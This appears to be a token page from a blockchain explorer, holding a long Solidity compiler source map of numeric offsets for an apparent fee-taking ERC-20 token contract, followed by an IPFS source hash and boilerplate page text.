4052:16;;-1:-1:-1;;;24052:16:0;;;;24049:1439;;;24101:41;24116:6;24124:9;24135:6;24101:14;:41::i;:::-;24094:48;;;;;24049:1439;-1:-1:-1;;;;;24197:23:0;;;;;;:15;:23;;;;;;;;24196:24;:55;;;;-1:-1:-1;;;;;;24225:26:0;;;;;;:15;:26;;;;;;;;24224:27;24196:55;24193:170;;;24290:12;;24280:6;:22;;24272:75;;;;-1:-1:-1;;;24272:75:0;;9925:2:1;24272:75:0;;;9907:21:1;9964:2;9944:18;;;9937:30;10003:34;9983:18;;;9976:62;-1:-1:-1;;;10054:18:1;;;10047:38;10102:19;;24272:75:0;9723:404:1;24272:75:0;24428:4;24379:28;18872:18;;;:9;:18;;;;;;24504:23;;24566:15;;24480:47;;;;;-1:-1:-1;;;;;24556:25:0;;;24566:15;;24556:25;:67;;24588:35;24597:6;24605:9;24616:6;24588:8;:35::i;:::-;24556:67;;;24584:1;24556:67;24544:79;;24644:23;:44;;;;-1:-1:-1;24672:16:0;;-1:-1:-1;;;24672:16:0;;;;24671:17;24644:44;:66;;;;-1:-1:-1;;;;;;24693:17:0;;;;;;:9;:17;;;;;;;;24692:18;24644:66;:91;;;;-1:-1:-1;24714:21:0;;-1:-1:-1;;;24714:21:0;;;;24644:91;24640:297;;;24772:25;;-1:-1:-1;;;24772:25:0;;;;24769:97;;;24843:23;;24820:46;;24769:97;24885:36;24900:20;24885:14;:36::i;:::-;24973:56;;;;;;;;;;;-1:-1:-1;;;24973:56:0;;;;;;;;-1:-1:-1;;;;;24973:17:0;;-1:-1:-1;24973:17:0;;;:9;:17;;;;;;;;:56;;24995:9;;24973:21;:56::i;:::-;-1:-1:-1;;;;;24953:17:0;;;;;;:9;:17;;;;;;;;:76;;;;25069:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;25098:28:0;;;;;;:17;:28;;;;;;;;25069:57;25068:93;;25152:9;25068:93;;;25143:6;25068:93;25181:16;;25046:115;;-1:-1:-1;;;;25181:16:0;;;;:51;;;;-1:-1:-1;;;;;;25202:30:0;;;;;;:19;:30;;;;;;;;25201:31;25181:51;25178:133;;;25300:10;;25259:37;25284:11;25259:20;25269:9;-1:-1:-1;;;;;18872:18:0;18845:7;18872:18;;;:9;:18;;;;;;;18779:119;25259:20;:24;;:37::i;:::-;:51;;25251:60;;;;;;-1:-1:-1;;;;;25351:20:0;;;;;;:9;:20;;;;;;:37;;25376:11;25351:24;:37::i;:::-;-1:-1:-1;;;;;25328:20:0;;;;;;;:9;:20;;;;;;;:60;;;;25410:40;;;;;;;;;;25438:11;1830:25:1;;1818:2;1803:18;;1684:177;25410:40:0;;;;;;;;25472:4;25465:11;;;;;;;;1636:192;1722:7;1758:12;1750:6;;;;1742:29;;;;-1:-1:-1;;;1742:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1782:9:0;1794:5;1798:1;1794;:5;:::i;:::-;1782:17;1636:192;-1:-1:-1;;;;;1636:192:0:o;1492:136::-;1550:7;1577:43;1581:1;1584;1577:43;;;;;;;;;;;;;;;;;:3;:43::i;1303:181::-;1361:7;;1393:5;1397:1;1393;:5;:::i;:::-;1381:17;;1422:1;1417;:6;;1409:46;;;;-1:-1:-1;;;1409:46:0;;10464:2:1;1409:46:0;;;10446:21:1;10503:2;10483:18;;;10476:30;10542:29;10522:18;;;10515:57;10589:18;;1409:46:0;10262:351:1;27254:330:0;27384:53;;;;;;;;;;;-1:-1:-1;;;27384:53:0;;;;;;;;-1:-1:-1;;;;;27384:17:0;;27347:4;27384:17;;;:9;:17;;;;;;;:53;;27406:6;;27384:21;:53::i;:::-;-1:-1:-1;;;;;27364:17:0;;;;;;;:9;:17;;;;;;:73;;;;27471:20;;;;;;;:32;;27496:6;27471:24;:32::i;:::-;-1:-1:-1;;;;;27448:20:0;;;;;;;:9;:20;;;;;;;:55;;;;27519:35;;;;;;;;;;27547:6;1830:25:1;;1818:2;1803:18;;1684:177;27519:35:0;;;;;;;;-1:-1:-1;27572:4:0;27254:330;;;;;:::o;26603:643::-;-1:-1:-1;;;;;26747:17:0;;26690:7;26747:17;;;:9;:17;;;;;;26690:7;;26747:17;;26744:269;;;26793:38;26827:3;26793:29;26804:17;;26793:6;:10;;:29;;;;:::i;:::-;:33;;:38::i;:::-;26781:50;;26744:269;;;-1:-1:-1;;;;;26861:20:0;;;;;;:9;:20;;;;;;;;:72;;;;-1:-1:-1;26905:15:0;;26885;;26932:1;;26885:44;;:15;-1:-1:-1;;;;;26905:15:0;:23;26885:19;:44::i;:::-;:48;26861:72;26858:155;;;26962:39;26997:3;26962:30;26973:18;;26962:6;:10;;:30;;;;:::i;:39::-;26950:51;;26858:155;27028:13;;27025:173;;27103:4;27085:24;;;;:9;:24;;;;;;:39;;27114:9;27085:28;:39::i;:::-;27076:4;27058:24;;;;:9;:24;;;;;;;:66;;;;27144:42;;-1:-1:-1;;;;;27144:42:0;;;;;;;27176:9;1830:25:1;;1818:2;1803:18;;1684:177;27144:42:0;;;;;;;;27025:173;27217:21;:6;27228:9;27217:10;:21::i;25630:299::-;17088:16;:23;;-1:-1:-1;;;;17088:23:0;-1:-1:-1;;;17088:23:0;;;25726:7;25746:31:::1;25726:7:::0;25746:16:::1;:31::i;:::-;25813:21;25848:18:::0;;25845:76:::1;;25895:9;::::0;25881:40:::1;::::0;25895:9:::1;::::0;::::1;-1:-1:-1::0;;;;;25895:9:0::1;25906:14:::0;25881:13:::1;:40::i;:::-;-1:-1:-1::0;;17134:16:0;:24;;-1:-1:-1;;;;17134:24:0;;;-1:-1:-1;25630:299:0:o;1836:250::-;1894:7;1918:6;1914:47;;-1:-1:-1;1948:1:0;1941:8;;1914:47;1973:9;1985:5;1989:1;1985;:5;:::i;:::-;1973:17;-1:-1:-1;2018:1:0;2009:5;2013:1;1973:17;2009:5;:::i;:::-;:10;2001:56;;;;-1:-1:-1;;;2001:56:0;;11215:2:1;2001:56:0;;;11197:21:1;11254:2;11234:18;;;11227:30;11293:34;11273:18;;;11266:62;-1:-1:-1;;;11344:18:1;;;11337:31;11385:19;;2001:56:0;11013:397:1;2094:132:0;2152:7;2179:39;2183:1;2186;2179:39;;;;;;;;;;;;;;;;;:3;:39::i;25937:658::-;26087:16;;;26101:1;26087:16;;;;;;;;26063:21;;26087:16;;;;;;;;;;-1:-1:-1;26087:16:0;26063:40;;26132:4;26114;26119:1;26114:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;26114:23:0;;;:7;;;;;;;;;;:23;;;;26158:15;;:22;;;-1:-1:-1;;;26158:22:0;;;;:15;;;;;:20;;:22;;;;;26114:7;;26158:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;26148:4;26153:1;26148:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;26148:32:0;;;:7;;;;;;;;;:32;26225:15;;26193:62;;26210:4;;26225:15;26243:11;26193:8;:62::i;:::-;26294:15;;:240;;-1:-1:-1;;;26294:240:0;;-1:-1:-1;;;;;26294:15:0;;;;:66;;:240;;26375:11;;26294:15;;26445:4;;26472;;26508:15;;26294:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26552:35;26569:11;26582:4;26552:35;;;;;;;:::i;:::-;;;;;;;;25992:603;25937:658;:::o;25503:119::-;25588:26;;-1:-1:-1;;;;;25588:18:0;;;:26;;;;;25607:6;;25588:26;;;;25607:6;25588:18;:26;;;;;;;;;;;;;;;;;;;;;25503:119;;:::o;2234:278::-;2320:7;2355:12;2348:5;2340:28;;;;-1:-1:-1;;;2340:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2379:9:0;2391:5;2395:1;2391;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:180::-;675:6;728:2;716:9;707:7;703:23;699:32;696:52;;;744:1;741;734:12;696:52;-1:-1:-1;767:23:1;;616:180;-1:-1:-1;616:180:1:o;801:131::-;-1:-1:-1;;;;;876:31:1;;866:42;;856:70;;922:1;919;912:12;856:70;801:131;:::o;937:315::-;1005:6;1013;1066:2;1054:9;1045:7;1041:23;1037:32;1034:52;;;1082:1;1079;1072:12;1034:52;1121:9;1108:23;1140:31;1165:5;1140:31;:::i;:::-;1190:5;1242:2;1227:18;;;;1214:32;;-1:-1:-1;;;937:315:1:o;1866:160::-;1931:20;;1987:13;;1980:21;1970:32;;1960:60;;2016:1;2013;2006:12;1960:60;1866:160;;;:::o;2031:315::-;2096:6;2104;2157:2;2145:9;2136:7;2132:23;2128:32;2125:52;;;2173:1;2170;2163:12;2125:52;2212:9;2199:23;2231:31;2256:5;2231:31;:::i;:::-;2281:5;-1:-1:-1;2305:35:1;2336:2;2321:18;;2305:35;:::i;:::-;2295:45;;2031:315;;;;;:::o;2351:456::-;2428:6;2436;2444;2497:2;2485:9;2476:7;2472:23;2468:32;2465:52;;;2513:1;2510;2503:12;2465:52;2552:9;2539:23;2571:31;2596:5;2571:31;:::i;:::-;2621:5;-1:-1:-1;2678:2:1;2663:18;;2650:32;2691:33;2650:32;2691:33;:::i;:::-;2351:456;;2743:7;;-1:-1:-1;;;2797:2:1;2782:18;;;;2769:32;;2351:456::o;2812:180::-;2868:6;2921:2;2909:9;2900:7;2896:23;2892:32;2889:52;;;2937:1;2934;2927:12;2889:52;2960:26;2976:9;2960:26;:::i;3394:247::-;3453:6;3506:2;3494:9;3485:7;3481:23;3477:32;3474:52;;;3522:1;3519;3512:12;3474:52;3561:9;3548:23;3580:31;3605:5;3580:31;:::i;3870:388::-;3938:6;3946;3999:2;3987:9;3978:7;3974:23;3970:32;3967:52;;;4015:1;4012;4005:12;3967:52;4054:9;4041:23;4073:31;4098:5;4073:31;:::i;:::-;4123:5;-1:-1:-1;4180:2:1;4165:18;;4152:32;4193:33;4152:32;4193:33;:::i;:::-;4245:7;4235:17;;;3870:388;;;;;:::o;4263:380::-;4342:1;4338:12;;;;4385;;;4406:61;;4460:4;4452:6;4448:17;4438:27;;4406:61;4513:2;4505:6;4502:14;4482:18;4479:38;4476:161;;;4559:10;4554:3;4550:20;4547:1;4540:31;4594:4;4591:1;4584:15;4622:4;4619:1;4612:15;4476:161;;4263:380;;;:::o;4648:356::-;4850:2;4832:21;;;4869:18;;;4862:30;4928:34;4923:2;4908:18;;4901:62;4995:2;4980:18;;4648:356::o;6518:251::-;6588:6;6641:2;6629:9;6620:7;6616:23;6612:32;6609:52;;;6657:1;6654;6647:12;6609:52;6689:9;6683:16;6708:31;6733:5;6708:31;:::i;7083:127::-;7144:10;7139:3;7135:20;7132:1;7125:31;7175:4;7172:1;7165:15;7199:4;7196:1;7189:15;7215:128;7255:3;7286:1;7282:6;7279:1;7276:13;7273:39;;;7292:18;;:::i;:::-;-1:-1:-1;7328:9:1;;7215:128::o;10132:125::-;10172:4;10200:1;10197;10194:8;10191:34;;;10205:18;;:::i;:::-;-1:-1:-1;10242:9:1;;10132:125::o;10618:168::-;10658:7;10724:1;10720;10716:6;10712:14;10709:1;10706:21;10701:1;10694:9;10687:17;10683:45;10680:71;;;10731:18;;:::i;:::-;-1:-1:-1;10771:9:1;;10618:168::o;10791:217::-;10831:1;10857;10847:132;;10901:10;10896:3;10892:20;10889:1;10882:31;10936:4;10933:1;10926:15;10964:4;10961:1;10954:15;10847:132;-1:-1:-1;10993:9:1;;10791:217::o;11547:127::-;11608:10;11603:3;11599:20;11596:1;11589:31;11639:4;11636:1;11629:15;11663:4;11660:1;11653:15;11679:461;11732:3;11770:5;11764:12;11797:6;11792:3;11785:19;11823:4;11852:2;11847:3;11843:12;11836:19;;11889:2;11882:5;11878:14;11910:1;11920:195;11934:6;11931:1;11928:13;11920:195;;;11999:13;;-1:-1:-1;;;;;11995:39:1;11983:52;;12055:12;;;;12090:15;;;;12031:1;11949:9;11920:195;;;-1:-1:-1;12131:3:1;;11679:461;-1:-1:-1;;;;;11679:461:1:o;12145:582::-;12444:6;12433:9;12426:25;12487:6;12482:2;12471:9;12467:18;12460:34;12530:3;12525:2;12514:9;12510:18;12503:31;12407:4;12551:57;12603:3;12592:9;12588:19;12580:6;12551:57;:::i;:::-;-1:-1:-1;;;;;12644:32:1;;;;12639:2;12624:18;;12617:60;-1:-1:-1;12708:3:1;12693:19;12686:35;12543:65;12145:582;-1:-1:-1;;;12145:582:1:o;12732:332::-;12939:6;12928:9;12921:25;12982:2;12977;12966:9;12962:18;12955:30;12902:4;13002:56;13054:2;13043:9;13039:18;13031:6;13002:56;:::i;:::-;12994:64;12732:332;-1:-1:-1;;;;12732:332:1:o

Swarm Source

ipfs://4fa85602824a18f696d71d29e800eacb10572c398b3e4ac69f68e3fa5f2ad400
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.